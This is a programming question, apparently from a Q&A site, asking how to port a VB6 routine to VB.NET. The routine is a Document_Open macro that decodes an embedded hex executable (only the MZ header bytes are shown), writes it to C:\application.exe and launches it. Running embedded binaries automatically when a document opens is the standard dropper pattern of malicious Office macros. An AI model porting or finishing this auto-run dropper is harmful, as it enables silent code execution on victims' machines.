title: convert from hex code to exe file in vb.net
body: <p>I have this code in <strong>vb6</strong> that can create an exe file from its hex code. I want to do the same in <strong>vb.net</strong>.</p>
  
  <p><strong>This is my vb6 code:</strong></p>
  
  <pre><code>Public Sub Document_Open()
  
      Dim str As String
      Dim hex As String
  
      hex = hex &amp; "4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00 B8 00 00 00 00 00 00 00" 
      hex = hex &amp; "40 00 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  
      'you have to put the full hex code of the application here
  
      Dim exe As String
      Dim i As Long
      Dim puffer As Long
  
      i = 1
  
      Do
          str = Mid(hex, i, 2)
  
          'convert hex to decimal
          puffer = Val("&amp;H" &amp; str)
  
          'convert decimal to ASCII
          exe = exe &amp; Chr(puffer)
  
          i = i + 2
  
          If i &gt;= Len(hex) - 2 Then
              Exit Do
          End If
      Loop
  
      'write to file
      Open "C:\application.exe" For Append As #2
      Print #2, exe
      Close #2
  
      'and run the exe
      Dim pid As Integer
      pid = Shell("C:\application.exe", vbNormalFocus)
  
  End Sub
  </code></pre>